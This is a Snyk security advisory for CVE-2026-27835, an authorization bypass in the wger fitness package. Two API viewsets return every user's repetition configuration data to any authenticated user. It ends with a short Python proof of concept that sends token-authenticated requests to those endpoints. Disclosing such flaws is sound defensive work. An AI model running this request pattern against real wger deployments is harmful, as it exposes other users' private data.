Authorization Bypass Through User-Controlled Key Affecting wger package, versions [0,]
Threat Intelligence
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PYTHON-WGER-15363323
- published27 Feb 2026
- disclosed27 Feb 2026
- creditByambadalai Sumiya
Introduced: 27 Feb 2026
CVE-2026-27835 (opens in a new tab)How to fix?
A fix was pushed into the master branch but not yet published.
Overview
Affected versions of this package are vulnerable to Authorization Bypass Through User-Controlled Key via the get_queryset function in the RepetitionsConfigViewSet and MaxRepetitionsConfigViewSet process. An attacker can access other users' workout configuration data by sending authenticated API requests.
PoC
import requests
BASE = "http://localhost"
headers = {"Authorization": "Token YOUR_TOKEN"} # any registered user
r = requests.get(f"{BASE}/api/v2/repetitions-config/", headers=headers)
print(r.json()) # returns ALL users' repetition configs, not just your own
r = requests.get(f"{BASE}/api/v2/max-repetitions-config/", headers=headers)
print(r.json()) # same — all users' max repetition configs